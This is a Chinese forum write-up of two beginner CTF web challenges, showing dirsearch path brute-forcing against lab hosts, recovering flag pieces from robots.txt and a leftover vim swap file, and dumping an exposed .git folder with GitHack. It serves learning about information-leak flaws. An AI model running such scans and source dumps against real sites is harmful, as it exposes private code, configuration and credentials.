吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3187|回复: 38
上一主题 下一主题
收起左侧

[CTF] BUUCTF:[第一章 web入门]

  [复制链接]
跳转到指定楼层
楼主
NightGlow 发表于 2023-7-22 22:19 回帖奖励

题目:BUUCTF:[第一章 web入门]常见的搜集

打开靶机后提示:

敏感文件
Hello, CTFer!
信息搜集之所以重要,是因为其往往会带给我们一些意想不到的东西
hack fun

  1. 首先通过工具对后台路径进行爆破,这里尝试使用dirsearch:

    
    dirsearch -u http://9b4cfa03-5e03-4082-b4d4-8561f9c207c6.node4.buuoj.cn:81/ -w Documents/SecurityTools/Wordlist/ctf.txt
    
    _|. _ _  _  _  _ _|_    v0.4.3.post1
    (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 199

Output File: /Users/night/reports/http_9b4cfa03-5e03-4082-b4d4-8561f9c207c6.node4.buuoj.cn_81/__23-07-22_20-53-57.txt

Target: http://9b4cfa03-5e03-4082-b4d4-8561f9c207c6.node4.buuoj.cn:81/

[20:53:57] Starting:
[20:53:58] 429 -  568B  - /_viminfo
[20:53:58] 429 -  568B  - /%3f.save
[20:53:58] 429 -  568B  - /%3f~2~
[20:53:58] 429 -  568B  - /%3f.save2
[20:53:58] 429 -  568B  - /%3f.save3
[20:53:58] 429 -  568B  - /%3f.save1
[20:53:58] 429 -  568B  - /.htaccess
[20:53:58] 429 -  568B  - /phpinfo.php
[20:53:58] 429 -  568B  - /robots.txt
[20:53:58] 429 -  568B  - /%3f.bak
[20:53:58] 429 -  568B  - /.bash_history
[20:53:58] 429 -  568B  - /%3f.back
[20:53:58] 429 -  568B  - /%3f.bak_Edietplus
[20:53:58] 429 -  568B  - /.git/
[20:53:58] 429 -  568B  - /.svn/
[20:53:58] 429 -  568B  - /.index.php.swp
[20:53:58] 429 -  568B  - /index.php.swp
[20:53:58] 429 -  568B  - /index.php.bak_Edietplus
[20:53:58] 429 -  568B  - /index.php.bak
[20:53:58] 429 -  568B  - /.index.php~
[20:53:58] 429 -  568B  - /index.php.~
[20:53:58] 429 -  568B  - /index.php.~1~
[20:53:58] 429 -  568B  - /index.php
[20:53:58] 429 -  568B  - /index.php.txt
[20:53:58] 429 -  568B  - /index.php.zip
[20:53:58] 429 -  568B  - /login.php
[20:53:58] 429 -  568B  - /index.php~
[20:53:58] 429 -  568B  - /register.php
[20:53:58] 429 -  568B  - /index.php.rar
[20:53:58] 429 -  568B  - /www.zip
[20:53:58] 429 -  568B  - /t.php
[20:53:58] 429 -  568B  - /www.7z
[20:53:58] 429 -  568B  - /web.rar
[20:53:58] 429 -  568B  - /www.tar
[20:53:58] 429 -  568B  - /web.zip
[20:53:58] 429 -  568B  - /test.php
[20:53:58] 429 -  568B  - /register
[20:53:58] 429 -  568B  - /www.rar
[20:53:58] 429 -  568B  - /index.php.7z
[20:53:58] 429 -  568B  - /upload.php
[20:53:58] 429 -  568B  - /www.tar.gz
[20:53:58] 429 -  568B  - /index.php.tar.gz
[20:53:58] 429 -  568B  - /web.7z
[20:53:58] 429 -  568B  - /web.tar.gz
[20:53:58] 429 -  568B  - /web.tar
[20:53:58] 429 -  568B  - /qq.txt
[20:53:58] 429 -  568B  - /plus
[20:53:58] 429 -  568B  - /log.txt
[20:53:58] 429 -  568B  - /wwwroot.rar
[20:53:58] 429 -  568B  - /dede
[20:53:58] 429 -  568B  - /admin
[20:53:58] 429 -  568B  - /Fckeditor
[20:53:58] 429 -  568B  - /edit
[20:53:58] 429 -  568B  - /ewebeditor
[20:53:58] 429 -  568B  - /bbs
[20:53:58] 429 -  568B  - /manage
[20:53:58] 429 -  568B  - /flag
[20:53:58] 429 -  568B  - /web_Fckeditor
[20:53:58] 429 -  568B  - /Editor
[20:53:58] 429 -  568B  - /login/
[20:53:58] 429 -  568B  - /shopadmin
[20:53:58] 429 -  568B  - /manager/
[20:53:58] 429 -  568B  - /webadmin
[20:53:58] 429 -  568B  - /web/
[20:53:58] 429 -  568B  - /database/
[20:53:58] 429 -  568B  - /manage/
[20:53:58] 429 -  568B  - /shopadmin/
[20:53:58] 429 -  568B  - /edit/
[20:53:58] 429 -  568B  - /login
[20:53:58] 429 -  568B  - /admin/daili/webedit
[20:53:58] 429 -  568B  - /admin/WebEditor
[20:53:58] 429 -  568B  - /tmp/
[20:53:58] 429 -  568B  - /admin/
[20:53:58] 429 -  568B  - /wp-includes/
[20:53:58] 429 -  568B  - /editor/
[20:53:58] 429 -  568B  - /user/
[20:53:58] 429 -  568B  - /test/
[20:53:58] 429 -  568B  - /home/
[20:53:58] 429 -  568B  - /administrator/
[20:53:58] 429 -  568B  - /users/
[20:53:58] 429 -  568B  - /houtai/
[20:53:58] 429 -  568B  - /backdoor/
[20:53:58] 429 -  568B  - /flag/
[20:53:58] 429 -  568B  - /upload/
[20:53:58] 429 -  568B  - /download/
[20:53:58] 429 -  568B  - /downloads/
[20:53:58] 429 -  568B  - /root.zip
[20:53:58] 429 -  568B  - /flag.php
[20:53:58] 429 -  568B  - /wwwroot.zip
[20:53:58] 429 -  568B  - /.ds_store
[20:53:58] 429 -  568B  - /root.rar
[20:53:58] 429 -  568B  - /uploads/
[20:53:58] 429 -  568B  - /backup.rar
[20:53:58] 429 -  568B  - /backup.zip
[20:53:58] 429 -  568B  - /4dmin.php
[20:53:58] 429 -  568B  - /admin.php
[20:53:58] 429 -  568B  - /4dm1n.php
[20:53:58] 429 -  568B  - /f1ag.php
[20:53:58] 429 -  568B  - /f14g.php
[20:53:58] 429 -  568B  - /adm1n.php
[20:53:58] 429 -  568B  - /fl4g.php
[20:53:58] 429 -  568B  - /admin1.php
[20:53:58] 429 -  568B  - /admin2.php
[20:53:58] 429 -  568B  - /adminlogin.php
[20:53:58] 429 -  568B  - /administrator.php
[20:53:58] 429 -  568B  - /home.php
[20:53:59] 429 -  568B  - /log.php
[20:53:59] 429 -  568B  - /logs.php
[20:53:59] 429 -  568B  - /config.php
[20:53:59] 429 -  568B  - /member.php
[20:53:59] 429 -  568B  - /users.php
[20:53:59] 429 -  568B  - /user.php
[20:53:59] 429 -  568B  - /robots.php
[20:53:59] 429 -  568B  - /info.php
[20:53:59] 429 -  568B  - /backdoor.php
[20:53:59] 429 -  568B  - /fm.php
[20:53:59] 429 -  568B  - /example.php
[20:53:59] 429 -  568B  - /a.sql
[20:53:59] 429 -  568B  - /mysql.bak
[20:53:59] 429 -  568B  - /b.sql
[20:53:59] 429 -  568B  - /db.sql
[20:53:59] 429 -  568B  - /mysql.sql
[20:53:59] 429 -  568B  - /bdb.sql
[20:53:59] 429 -  568B  - /ddb.sql
[20:53:59] 429 -  568B  - /dump.sql
[20:53:59] 429 -  568B  - /rss.xml
[20:53:59] 429 -  568B  - /users.sql
[20:53:59] 429 -  568B  - /backup.sql.gz
[20:53:59] 429 -  568B  - /data.sql
[20:53:59] 429 -  568B  - /backup.sql.bz2
[20:53:59] 429 -  568B  - /flag.txt
[20:53:59] 429 -  568B  - /backup.sql
[20:53:59] 429 -  568B  - /crossdomain.xml
[20:53:59] 429 -  568B  - /1.txt
[20:53:59] 429 -  568B  - /wp-config.php
[20:53:59] 429 -  568B  - /configuration.php
[20:53:59] 429 -  568B  - /sites/default/settings.php
[20:53:59] 429 -  568B  - /config.inc.php
[20:53:59] 429 -  568B  - /conf/_basic_config.php
[20:53:59] 429 -  568B  - /framework/conf/config.php
[20:53:59] 429 -  568B  - /config/site.php
[20:53:59] 429 -  568B  - /system/config/default.php
[20:53:59] 429 -  568B  - /mysite/_config.php
[20:53:59] 429 -  568B  - /config/config_global.php
[20:53:59] 429 -  568B  - /typo3conf/localconf.php
[20:53:59] 429 -  568B  - /config/config_ucenter.php
[20:53:59] 429 -  568B  - /lib
[20:53:59] 429 -  568B  - /data/config.php
[20:53:59] 429 -  568B  - /data/common.inc.php
[20:53:59] 429 -  568B  - /data/config.inc.php
[20:53:59] 429 -  568B  - /includes/config.php
[20:53:59] 429 -  568B  - /404.php
[20:53:59] 429 -  568B  - /caches/configs/database.php
[20:53:59] 429 -  568B  - /index.html
[20:53:59] 429 -  568B  - /phpmyadmin/
[20:53:59] 429 -  568B  - /phpsso_server/caches/configs/database.php
[20:53:59] 429 -  568B  - /phpMyAdmin/
[20:53:59] 429 -  568B  - /phpsso_server/caches/configs/system.php
[20:53:59] 429 -  568B  - /include/config.inc.php
[20:53:59] 429 -  568B  - /caches/configs/system.php

Task Completed


2. 观察后,发现index.php~,robots比较可疑。访问/index.php~
> 敏感文件
Hello, CTFer!
信息搜集之所以重要,是因为其往往会带给我们一些意想不到的东西
hack fun
flag2:s_v3ry_im

很明显,flag并不完整,去robots.txt看看,得到提示
> User-agent: *
Disallow:
/flag1_is_her3_fun.txt

继续访问/flag1_is_her3_fun.txt

> flag1:n1book{info_1

得到Flag1、2但是发现并不完整,疑似存在flag3。对.index.php.swp和index.php.swp进行访问,发现前者中的响应中包含flag3

```html
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 22 Jul 2023 13:11:49 GMT
Content-Type: application/octet-stream
Content-Length: 12288
Connection: close
Accept-Ranges: bytes
Etag: "3000-596a4415d74c0"
Last-Modified: Wed, 06 Nov 2019 02:24:59 GMT

b0VIM 8.0.Â]óº'*venenofhappy~venenof/Desktop/出题/backup/index.phputf-8
U3210#"! Utp=adTd=ð²XS3ê°T 
Ÿ
ƒ
P

ëÆÅ²RÙ|qpbaXWV=<&é
ã
â
È
¦
€
L
9

ì   ³  4      ò¾­žœ›ŽH¹wtsd†</body></html>      <script src="./Bootswatch_ Sketchy_files/custom.js"></script>    <script src="./Bootswatch_ Sketchy_files/bootstrap.min.js"></script>    <script src="./Bootswatch_ Sketchy_files/popper.min.js"></script>    <script src="./Bootswatch_ Sketchy_files/jquery.min.js"></script>    </div>        </div>          </div>               <?php echo 'flag3:p0rtant_hack}';?>                 <p>hack fun</p>                <hr class="my-4">                <p class="lead">信息搜集之所以重要,是因为其往往会带给我们一些意想不到的东西</p>                <h1 class="display-3">Hello, CTFer!</h1>              <div class="jumbotron">            <div class="bs-component">            </div>              <h1 id="containers">敏感文件</h1>            <div class="page-header">          <div class="col-lg-12">        <div class="row">           ================================================== -->      <!-- Containers <div class="container">  <body>    </script>     })();       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;     (function() {      _gaq.push(['_trackPageview']);        _gaq.push(['_setAllowLinker', true]);      _gaq.push(['_setDomainName', "bootswatch.com"]);      _gaq.push(['_setAccount', 'UA-23019901-1']);     var _gaq = _gaq || [];    <script type="text/javascript" async="" src="./Bootswatch_ Sketchy_files/ga.js"></script><script>    <link rel="stylesheet" href="./Bootswatch_ Sketchy_files/custom.min.css">    <link rel="stylesheet" href="./Bootswatch_ Sketchy_files/bootstrap.css" media="screen">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1">    <title>敏感文件</title>    <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!-- saved from url=(0031)https://bootswatch.com/sketchy/ --><!DOCTYPE html>

<?php echo 'flag3:p0rtant_hack}';?>

3.拼接Flag得到

n1book{info_1s_v3ry_imp0rtant_hack}

知识点:

.swp 文件是由 Vim 文本编辑器创建的临时文件。当使用 Vim 打开一个文件进行编辑时,Vim 会创建一个 .swp 文件以存储文件的编辑状态。这样,即使系统崩溃或者 Vim 意外关闭,仍然可以从 .swp 文件恢复你的编辑进度。

一旦正常关闭 Vim 并保存了你的文件,对应的 .swp 文件就会被自动删除。但是,如果 Vim 没有被正常关闭,.swp 文件可能会被留下。如果在打开一个文件时发现存在相应的 .swp 文件,Vim 会提醒你并提供一些选项,如恢复编辑状态或删除 .swp 文件。

VIM再第一次意外退出时生成的文件为*swp,第二次为:*swo,第三次*swn,以此类推

题目:[第一章 web入门]粗心的小李

  1. 打开靶机后获得提示:

    Git测试
    Hello, CTFer!
    当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
    小李好像不是很小心,经过了几次迭代更新就直接就把整个文件夹放到线上环境了:(
    very easy

  2. 开始对网站进行信息搜集

    
    dirsearch -u http://599360f4-5099-4343-a3b6-cbe92ad9eb2d.node4.buuoj.cn:81 -w Documents/SecurityTools/Wordlist/ctf.txt
    
    _|. _ _  _  _  _ _|_    v0.4.3.post1
    (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 199

Output File: /Users/night/reports/http_599360f4-5099-4343-a3b6-cbe92ad9eb2d.node4.buuoj.cn_81/_23-07-22_21-34-14.txt

Target: http://599360f4-5099-4343-a3b6-cbe92ad9eb2d.node4.buuoj.cn:81/

[21:34:14] Starting:
[21:34:14] 200 -   73B  - /.git/description
[21:34:14] 200 -  137B  - /.git/config
[21:34:14] 200 -  145B  - /.git/index
[21:34:14] 200 -   23B  - /.git/HEAD
[21:34:14] 301 -  392B  - /.git  ->  http://599360f4-5099-4343-a3b6-cbe92ad9eb2d.node4.buuoj.cn:81/.git/

3. 发现确实存在git泄露
    使用[Githack](https://github.com/lijiejie/GitHack)工具进行操作
```shell
~ python3 GitHack/GitHack.py http://599360f4-5099-4343-a3b6-cbe92ad9eb2d.node4.buuoj.cn:81/.git/
[+] Download and parse index file ...
[+] index.html
[OK] index.html

cat index.html

<!DOCTYPE html>
<!-- saved from url=(0031)https://bootswatch.com/sketchy/ -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Git测试</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <link rel="stylesheet" href="./Bootswatch_ Sketchy_files/bootstrap.css" media="screen">
    <link rel="stylesheet" href="./Bootswatch_ Sketchy_files/custom.min.css">
    <script type="text/javascript" async="" src="./Bootswatch_ Sketchy_files/ga.js"></script><script>

     var _gaq = _gaq || [];
      _gaq.push(['_setAccount', 'UA-23019901-1']);
      _gaq.push(['_setDomainName', "bootswatch.com"]);
        _gaq.push(['_setAllowLinker', true]);
      _gaq.push(['_trackPageview']);

     (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
     })();

    </script>

  <body>

 <div class="container">

      <!-- Containers
      ================================================== -->

        <div class="row">
          <div class="col-lg-12">
            <div class="page-header">
              <h1 id="containers">Git测试</h1>
            </div>
            <div class="bs-component">
              <div class="jumbotron">
                <h1 class="display-3">Hello, CTFer!</h1>
                <p class="lead">当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。</p>
                <hr class="my-4">
                <p>小李好像不是很小心,经过了几次迭代更新就直接就把整个文件夹放到线上环境了:(</p>
                <p>n1book{git_looks_s0_easyfun}</p>
          </div>
        </div>

    </div>

    <script src="./Bootswatch_ Sketchy_files/jquery.min.js"></script>
    <script src="./Bootswatch_ Sketchy_files/popper.min.js"></script>
    <script src="./Bootswatch_ Sketchy_files/bootstrap.min.js"></script>
    <script src="./Bootswatch_ Sketchy_files/custom.js"></script>

</body></html>

Flag:n1book{git_looks_s0_easyfun}

免费评分

参与人数 12吾爱币 +16 热心值 +9 收起 理由
haoqwenie + 2 + 1 我很赞同!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
zwhhyj + 1 我很赞同!
mapslove + 1 + 1 我很赞同!
nullptr0x7 + 1 大佬牛逼
hello95271 + 1 + 1 我很赞同!
LeeCocoR + 1 + 1 热心回复!
klxx1314520 + 1 我很赞同!
xuan8848 + 1 我很赞同!
Rechdd23 + 1 + 1 我很赞同!
xiewhg + 1 我很赞同!
Re0x01 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
xiaopeng128 发表于 2023-7-22 22:52
过来学习学习
3#
tangzihao14 发表于 2023-7-23 02:02
4#
leejita 发表于 2023-7-23 08:17
5#
skywalker0123 发表于 2023-7-23 08:18
n1book的题目?
6#
12285054 发表于 2023-7-23 09:35
挺适合我这种新人,支持大佬
7#
 楼主| NightGlow 发表于 2023-7-23 11:39 |楼主

对的,是从0到1CTFer那本书的
8#
xlingm 发表于 2023-7-23 11:44
什么也不懂过来学习学习!
9#
kile828 发表于 2023-7-23 15:11
写的不错,学习一下
10#
LQ584521 发表于 2023-7-23 15:45
每天学习一点。感谢楼主
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-21 13:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表